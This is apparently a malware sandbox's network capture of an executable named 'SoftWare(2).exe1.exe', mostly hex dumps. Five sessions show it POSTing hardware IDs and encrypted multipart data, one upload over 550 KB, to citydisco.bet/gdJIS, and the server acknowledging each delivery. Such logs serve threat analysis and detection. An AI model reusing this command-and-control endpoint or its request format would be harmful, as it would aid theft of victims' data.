2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 31 43 bc 89 a6 c5 56 40 b0 c4 ca 84 a3 c0 58 ea e0 22 0a 85 65 e3 b3 d7 87 e8 f7 55 70 91 fc 40 f2 8b 3e fb fd 8a 52 c0 85 59 26 c4 3d 18 1e 00 34 d2 09 f1 f2 8d 04 f2 86 f3 fa fe 07 f1 a5 68 95 dd 7f 22 6a a2 57 de 29 00 85 27 5b 5f fd d8 c4 89 df 58 4a 32 b7 a3 9b d4 c2 c2 3f 78 3a a7 cd 34 38 53 b8 51 41 21 4e 4c a9 f2 85 79 26 ec c1 33 76 66 d3 30 fa e4 b0 24 57 e8 d7 34 63 39 c0 c8 bc 3e 6f fe aa 93 8b 85 92 88 6b 16 04 15 9b a9 10 e9 39 82 05 be 95 79 ec 0a e1 82 78 3b af 69 d8 cf b7 bb 2c d2 6b d1 29 8f fe 3d ea ef ce 5c a6 c3 8b 18 2e 0a 38 2c c8 aa a3 46 fc f8 1d 31 f6 3d 34 77 e9 95 8a d5 d9 f8 b7 7a a3 59 2a 32 2d 46 74 42 a4 cc b4 60 83 f4 f1 32 a2 85 37 f1 3a 85 30 f4 8d 31 db 7d 3c a0 8d 84 b3 92 65 dd 63 2b 8d 09 1b 5a 70 03 61 88 5e 58 f0 Data Ascii: 1CV@X"eUp@>RY&=4h"jW)'[_XJ2?x:48SQA!NLy&3vf0$W4c9>ok9yx;i,k)=\.8,F1=4wzY*2-FtB`27:01}<ec+Zpa^X
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 81 50 db 38 a4 4e 3d cd b0 fe d3 1e 77 aa 00 bc e2 84 57 f9 44 8e 52 80 66 16 e3 f3 02 3e 33 e7 f7 5b 11 4b ab a2 c7 c9 52 60 d8 c0 77 40 b4 d2 fd 30 c8 35 78 d5 26 f1 05 67 96 11 4b 89 e5 99 5c 12 f0 3b 43 4d 82 63 84 46 47 63 f9 63 0b e9 3c 8e c7 b1 e3 49 1e 9b bb e1 8c 54 71 ef 41 de d0 e4 4f a6 5f f4 88 06 7b e1 ca f6 96 c2 72 8a 27 25 e9 28 1b 50 80 33 e4 de 77 b6 8a aa b5 f0 4a 6a 95 bc e9 d2 bf 86 7e 56 d9 6d 75 ec a3 e1 eb 97 e4 88 bc f2 68 19 55 f4 ed dd cb f7 53 fd 45 2e 45 9e b2 8b 8a 60 2f 54 41 9b 39 c8 e1 bf 93 a2 61 ce 4b 59 6c d8 3b f6 8c 6e 88 b1 36 54 99 16 b2 5e 9a 61 d8 43 e3 ec 0b 2b 43 f6 21 f9 80 e1 fc a3 ca 05 27 a1 74 c8 48 13 ec e9 42 24 03 8d 3e 53 fb 91 e0 99 1c 31 c2 64 62 a7 4e 8e c1 01 05 f1 86 c5 79 4f 04 9b 7f 74 68 74 21 Data Ascii: P8N=wWDRf>3[KR`w@05x&gK\;CMcFGcc<ITqAO_{r'%(P3wJj~VmuhUSE.E`/TA9aKYl;n6T^aC+C!'tHB$>S1dbNyOtht!
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 01 c9 82 25 c3 ba de ab d3 41 fe 46 c3 67 9a 82 f5 b7 78 cd 6f 02 e1 2d df 26 af c9 87 3d 32 cf 03 84 a1 9c 15 4c 94 e7 80 1b de 8f ee d0 97 bd 8a 67 f2 21 c5 1a bc 01 61 9b 03 f2 83 e3 cb 61 af 4c 29 96 34 18 48 50 99 8c 59 04 29 c0 b9 62 9c f7 92 09 55 fa 99 3e 47 02 5a 3f d7 b2 31 07 2f 72 da 86 1c e7 f5 36 fd 5c cd c4 34 c9 06 ad e2 3f a5 da 68 cd b8 6e 64 89 9c 2d 50 56 3e 27 95 f0 ac 2e d9 56 ac 1c b5 c7 5d 7f 5d 56 fa 0d a7 49 c0 e5 8d 50 60 d1 6f 9a 7c 9b 12 54 b4 ea b3 bb 47 46 56 17 4b 3a fb 83 53 77 28 8f 51 31 fd 90 08 19 05 c4 92 86 b6 75 a2 3f b5 e7 02 48 21 0d b0 df 9a 8a c4 04 bd 88 1b e7 be c7 10 8e d0 21 76 18 5d f4 30 ed b6 29 90 fa 88 21 c1 6f ca 6e 42 02 4c fe 78 e7 ba 73 2a f2 12 94 26 c0 2b c4 75 81 8b 4b 06 74 59 89 08 86 fd 16 12 Data Ascii: %AFgxo-&=2Lg!aaL)4HPY)bU>GZ?1/r6\4?hnd-PV>'.V]]VIP`o\|TGFVK:Sw(Q1u?H!!v]0)!onBLxs*&+uKtY
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: cb c7 a3 35 60 a2 c9 66 29 c6 4d 16 7c 44 5e ee 4b 41 dc 46 ff 58 71 31 a4 0d 32 59 46 bd 6a 30 fe 0e b2 d2 3f c8 af e4 41 1a ea 61 89 da 19 a6 70 e7 15 dc f7 44 9e f1 09 91 0f 16 a2 04 3f 26 a5 77 9d 4e c4 49 92 5b e4 2e b3 be b3 7c 4d 1c 7e 88 0d 53 47 8a 7e c7 ad b9 d0 8a a0 29 04 9f b3 7d ed 6b 0d fa f8 f1 0d 23 93 f9 47 80 10 2b 85 2f 7e 4a d9 4c f3 18 c6 41 09 ca 8f 96 33 ad 35 47 ec a1 e1 e0 d3 79 26 98 14 6e 9c 52 9d bd 0d b3 62 3a 07 07 5f 0b 20 79 fa 5b bb 92 d9 d1 2a 2e cc 8a 20 f4 24 14 8d c8 b8 c3 da f3 57 e4 11 05 c3 52 8d b3 31 07 8e 35 c2 9d 43 5b 70 6a f6 f3 0f 71 e5 2a 76 bc 88 56 04 19 36 52 84 48 13 66 f4 a1 93 7b 50 60 7c a5 50 93 9f af 87 bd 68 e6 8f a6 a8 c5 d9 cc 14 bc 03 6a 50 67 6d 02 4d e1 df 78 49 1a c2 0d eb af 95 e5 ee 3b 7b Data Ascii: 5`f)M\|D^KAFXq12YFj0?AapD?&wNI[.\|M~SG~)}k#G+/~JLA35Gy&nRb:_ y[. $WR15C[pjqvV6RHf{P`\|PhjPgmMxI;{
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 27 0c de 42 81 b1 e5 3b db bf 66 12 a6 d3 17 47 3b 41 12 5a 60 b7 46 cc 68 0b 2e 32 c1 57 cd e9 8e ec b3 c2 96 3c 1f 2e 81 cd fb 39 f6 0b a2 ed cc 63 60 b4 62 e1 5b d9 ba 58 a2 8a 0b 88 bf ed a2 4b 5d ec 13 ac b7 45 9e 1f fb 0b b4 ba 57 93 3f ac dd bd c3 56 64 29 6c 3a b1 2d 9f d7 31 48 56 4c 3e d7 35 2b 79 b1 b9 55 79 4f 2d 41 3c 59 32 e2 89 6b 1a e8 3a 08 de 5f c1 87 37 8f 2c bd 4f bd fc ba 27 d1 2e 03 96 74 5c ae a1 70 7c 05 86 36 48 20 26 e0 90 f2 b2 56 ca ec 23 76 c7 b1 cc 80 02 24 f6 2a 5a 14 67 e0 cf e7 ea b8 fc 20 49 2d 68 3e 12 6c 83 e6 e2 fc 77 3a f5 02 a8 cb 63 fa 1f 7d 38 93 51 9e 27 9d 89 1d ce 91 7f 26 17 fb 4a 99 1d dd e6 b0 ec 36 d1 5e 85 43 6b 90 da 2f 79 1c f9 f2 e4 83 35 04 12 2a 4e de dc f8 a9 28 52 c4 00 13 88 6d 36 42 d4 c8 cd 66 82 Data Ascii: 'B;fG;AZ`Fh.2W<.9c`b[XK]EW?Vd)l:-1HVL>5+yUyO-A<Y2k:_7,O'.t\p\|6H &V#v$Zg I-h>lw:c}8Q'&J6^Ck/y5N(Rm6Bf
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 79 fb 08 47 9d 02 4d 09 16 e9 c0 99 84 77 03 43 72 96 20 ed f3 a0 69 64 28 f1 07 8c 5d 48 54 05 19 47 34 42 00 96 e8 5e 6d 32 11 c4 c5 58 3b 36 2a d1 b9 bf 7f 2a 85 81 4c 17 31 5d b7 6a f8 01 9b 18 d6 82 4e 4b 6d dd 40 2b 85 bc 37 cc 7a b5 70 14 6e 6f cb c0 16 ac a8 07 17 68 19 87 2c c6 85 64 19 69 79 8c 07 c9 64 38 e3 f5 66 2f 4b 27 a8 22 0e c4 a2 73 33 23 76 d0 a0 15 55 4b 11 97 b2 4f 44 e0 8f dd a9 3e 3a 7d f5 45 bc 82 99 68 42 b7 24 27 16 5e 59 6f 13 87 89 43 11 c4 42 c3 6c ee 8f de 4a dd 6d b6 71 74 d8 e5 11 05 54 ff 07 7e 12 ea 9c 82 0b f1 c5 95 35 9a c9 24 af ac 9e c8 ab b6 46 ed df db 77 08 48 39 b2 aa 8d ba f6 2e 16 f9 c8 5a 06 47 7b 7c b8 ac bc dc 0d a8 d2 14 3b 31 8e c4 be f6 58 07 3d 1b b8 aa c8 0f 4a 81 35 8b 2c f6 e9 12 1c 92 01 7d 24 44 aa Data Ascii: yGMwCr id(]HTG4B^m2X;6**L1]jNKm@+7zpnoh,diyd8f/K'"s3#vUKOD>:}EhB$'^YoCBlJmqtT~5$FwH9.ZG{\|;1X=J5,}$D
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 11 dd c8 05 cd 70 e7 c1 69 46 30 5f 8f aa 47 13 2c fa b3 9b f8 27 60 cb 63 3c 6a 69 3d 39 71 53 4a 30 1d c5 16 04 39 4f b6 a7 04 18 62 60 02 eb c3 ec 9a 00 bd 71 d1 39 c5 6e 49 da da e7 3c de 6b 8c b0 58 50 b5 35 7b a5 b4 58 f8 3d 5b c7 ba 64 73 9f 69 1d 78 22 48 3c 85 a9 28 e6 88 bf 99 14 5a d6 40 bb 4c bc 2f b4 93 70 29 27 f2 9b c4 e3 13 c7 f3 8f 6d 08 d3 7d 7e bd bd 12 4b 72 b0 e3 e9 29 e1 b2 91 91 1f b6 c1 07 62 98 f4 1b f9 e7 cb 1c e6 38 21 73 3a 0d cf 75 b8 1b ba fb e7 f8 db 5b 2c ce 89 e4 93 78 ea 75 29 ff 5a 8f 2b a0 fa 1a cd dc ee fe dd 18 c1 dd 45 ee 94 23 55 a9 ec 3f 19 6b 2d 0c 19 74 97 c5 9d a4 26 4e e1 ff 89 99 4b b1 ab 52 df 70 e0 34 c5 fc c8 3c 09 40 75 dd 6a 5d ee f0 82 e3 da ce cf 2f d3 ab b6 35 0a 2f 19 25 c0 9e 16 b4 11 75 6b ac 07 f3 Data Ascii: piF0_G,'`c<ji=9qSJ09Ob`q9nI<kXP5{X=[dsix"H<(Z@L/p)'m}~Kr)b8!s:u[,xu)Z+E#U?k-t&NKRp4<@uj]/5/%uk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49719	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:33 UTC	272	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5CEAHR39e User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19592 Host: citydisco.bet
2025-03-13 12:33:33 UTC	15331	OUT	Data Raw: 2d 2d 35 43 45 41 48 52 33 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 0d 0a 2d 2d 35 43 45 41 48 52 33 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 43 45 41 48 52 33 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 44 43 46 41 38 33 36 32 45 34 34 33 Data Ascii: --5CEAHR39eContent-Disposition: form-data; name="uid"22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4--5CEAHR39eContent-Disposition: form-data; name="pid"2--5CEAHR39eContent-Disposition: form-data; name="hwid"9EDCFA8362E443
2025-03-13 12:33:33 UTC	4261	OUT	Data Raw: e9 a1 31 09 02 d0 58 9a 3f 0c 1d bd b2 69 ee cf c0 9f bd 08 fc 21 00 c1 50 b4 71 83 1e 05 45 5a 38 ee 98 3b f0 a6 07 ff 62 b8 ba 88 0d fa ce ac b6 d4 e7 7e c8 ad 3b a4 79 c7 87 cb 56 a7 05 57 8f 29 fb c8 12 89 98 cb a9 0f 16 60 41 30 a9 cf 97 59 83 13 c9 44 8f 3e 31 fe 19 75 b3 3e cb cc 3a 7a c6 0a 56 db e9 f0 dd 79 7d 3e e6 bc 9e 5c b4 8a 73 dc 14 82 62 76 e4 f3 43 0e 62 08 b8 1c 95 24 b3 48 8b 32 b4 12 40 9e 9e c4 a0 31 6d 36 f1 d9 9c c2 20 fe 05 c6 83 c4 03 d2 a6 3e 59 2f 6a 0e 72 5e 6e 3d d3 13 9f e2 4c cd f6 3d b2 c2 39 ff f7 ae c1 61 33 43 90 1b 41 ad e8 d4 72 a5 47 b9 49 c6 74 e9 b8 66 1c 22 df 46 11 c4 5a 3a 45 9a 86 8e 0a 58 cd ab b0 4a 0c 44 82 9c c2 f6 e9 1f b3 ff dc 26 3a bd c6 ab 30 3f 6a b0 43 19 ad 84 c4 d8 8a 9e ef 6d 55 45 29 6a 1a d9 7a Data Ascii: 1X?i!PqEZ8;b~;yVW)`A0YD>1u>:zVy}>\sbvCb$H2@1m6 >Y/jr^n=L=9a3CArGItf"FZ:EXJD&:0?jCmUE)jz
2025-03-13 12:33:34 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qiKwAsWmxEOUT0qSlchSDLPPruq8OqTRTkkaUW%2BU5jLfFbIzqg5gbUVvVBr378V%2FrGMStU4hAtZSxzdcgT3OAOVHBHnHjA0AeSAnN%2BCQLOZNZT9Zs%2BCYr6KT5OIzc18J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8f799b0862fd-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13534&min_rtt=13176&rtt_var=4327&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=20544&delivery_rate=196899&cwnd=239&unsent_bytes=0&cid=eee8ea391b318066&ts=1044&x=0"
2025-03-13 12:33:34 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 36 2e 32 31 37 2e 32 34 30 2e 31 30 34 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 76.217.240.104"}}
2025-03-13 12:33:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49720	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:35 UTC	275	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CGeyHTI7bbTd9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8769 Host: citydisco.bet
2025-03-13 12:33:35 UTC	8769	OUT	Data Raw: 2d 2d 43 47 65 79 48 54 49 37 62 62 54 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 0d 0a 2d 2d 43 47 65 79 48 54 49 37 62 62 54 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 47 65 79 48 54 49 37 62 62 54 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 Data Ascii: --CGeyHTI7bbTd9Content-Disposition: form-data; name="uid"22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4--CGeyHTI7bbTd9Content-Disposition: form-data; name="pid"2--CGeyHTI7bbTd9Content-Disposition: form-data; name="hwid"9E
2025-03-13 12:33:36 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ukJnhKojIGHHHgBuMFu5vGU4BlGFLFenX9sIrQMkOeQx9EbM%2FPKqGqWPc3AK7NUAa44ek1%2FId4%2B9k6%2B6c2vIPgIEeeN9NYAnX8AxzSUZDucoCYy1h1qEXTjeGS%2F2uTJD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8f88dba7eafc-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13832&min_rtt=13758&rtt_var=3998&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2831&recv_bytes=9702&delivery_rate=205725&cwnd=245&unsent_bytes=0&cid=ab529ecf40b1ccd7&ts=899&x=0"
2025-03-13 12:33:36 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 36 2e 32 31 37 2e 32 34 30 2e 31 30 34 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 76.217.240.104"}}
2025-03-13 12:33:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49721	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:38 UTC	273	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=buU39pNjnU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: citydisco.bet
2025-03-13 12:33:38 UTC	15331	OUT	Data Raw: 2d 2d 62 75 55 33 39 70 4e 6a 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 0d 0a 2d 2d 62 75 55 33 39 70 4e 6a 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 75 55 33 39 70 4e 6a 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 44 43 46 41 38 33 36 32 45 Data Ascii: --buU39pNjnUContent-Disposition: form-data; name="uid"22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4--buU39pNjnUContent-Disposition: form-data; name="pid"3--buU39pNjnUContent-Disposition: form-data; name="hwid"9EDCFA8362E
2025-03-13 12:33:38 UTC	5076	OUT	Data Raw: 9f b4 16 c8 d3 85 49 85 d9 5e 45 56 34 d8 db 9c 0b c7 35 d0 7c 49 66 97 5c 83 5f b8 d3 60 72 59 dd 95 9a c4 56 39 18 cc 1e 73 7e b6 5c 80 71 d6 42 f8 ce b7 d3 c8 a8 a8 ac bf b7 f3 d0 a1 79 fe 72 62 2b 68 85 ca 17 82 f4 6c 95 c1 3d fe ea 7a c2 7d 05 67 d7 30 4a 0c 7c 67 ce c5 1b 6d 84 bd 99 ed db 0b 49 a2 29 fb 25 e3 4e e2 25 ad d2 c3 f6 ff 99 ce e2 ba 9c 84 a4 1a 04 bf c9 53 b8 64 bd e4 be 16 fc 81 a4 8d 54 b5 ed b0 d2 49 5a 16 7b cb 56 ef 6d ba 72 98 ed 43 37 f6 c9 61 32 de 75 03 18 86 a3 de 2a ba 5c 3b b3 c0 48 1f 91 02 17 83 29 fa 6f 64 73 c4 47 09 1e c4 d5 a9 e5 de 93 d8 b2 7a 99 90 98 51 69 ac 23 4a 16 92 c8 b3 81 a6 10 da f5 dd ac d0 82 41 88 8a 40 97 a4 00 cc 7c 95 3d 38 87 52 18 d0 0c 1a e4 28 6a e9 ae 13 a9 bc 05 d1 17 30 92 12 b7 36 3c 4e 76 a6 Data Ascii: I^EV45\|If\_`rYV9s~\qByrb+hl=z}g0J\|gmI)%N%SdTIZ{VmrC7a2u*\;H)odsGzQi#JA@\|=8R(j06<Nv
2025-03-13 12:33:39 UTC	815	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLdSX9xh%2FVeyJ0xbMCozWdljmBzOcBvdmV9LPGI%2Bsu5ddJic1g1CYMWbbU8OedfzFvMjO2%2FqzP3S7e1hNsN6kn%2Fe4C7JyzE5AkRYuAr0M7GQ8fGBBDEPA2D%2BNyPoqnOW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8f96ef528f49-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13997&min_rtt=12521&rtt_var=4386&sent=23&recv=25&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21360&delivery_rate=201797&cwnd=241&unsent_bytes=0&cid=efbf5a17512bfc76&ts=1009&x=0"
2025-03-13 12:33:39 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 36 2e 32 31 37 2e 32 34 30 2e 31 30 34 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 76.217.240.104"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49722	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:40 UTC	280	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9Xc17ag4fOi8gKd7mM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2450 Host: citydisco.bet
2025-03-13 12:33:40 UTC	2450	OUT	Data Raw: 2d 2d 39 58 63 31 37 61 67 34 66 4f 69 38 67 4b 64 37 6d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 0d 0a 2d 2d 39 58 63 31 37 61 67 34 66 4f 69 38 67 4b 64 37 6d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 58 63 31 37 61 67 34 66 4f 69 38 67 4b 64 37 6d 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 Data Ascii: --9Xc17ag4fOi8gKd7mMContent-Disposition: form-data; name="uid"22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4--9Xc17ag4fOi8gKd7mMContent-Disposition: form-data; name="pid"1--9Xc17ag4fOi8gKd7mMContent-Disposition: form-data; na
2025-03-13 12:33:41 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPXj4ASniYdxuHxHA0RaxfcEHeMc8vkbd3LusEaka2ORPb%2F5kkLYzZIM37FAGFNIqWztBn5n%2FO0ff6Uq1fmqrzwP3IiVJoo53n00VTrs2QSs6H26LvpnnJN2oS8f3B0L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8fa74c3be5db-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15814&min_rtt=13631&rtt_var=7670&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=3366&delivery_rate=122390&cwnd=244&unsent_bytes=0&cid=be5c453f17c02392&ts=770&x=0"
2025-03-13 12:33:41 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 36 2e 32 31 37 2e 32 34 30 2e 31 30 34 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 76.217.240.104"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49724	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:43 UTC	281	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BF6y4lIf5N61ZHiN3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550959 Host: citydisco.bet
2025-03-13 12:33:43 UTC	15331	OUT	Data Raw: 2d 2d 42 46 36 79 34 6c 49 66 35 4e 36 31 5a 48 69 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 0d 0a 2d 2d 42 46 36 79 34 6c 49 66 35 4e 36 31 5a 48 69 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 46 36 79 34 6c 49 66 35 4e 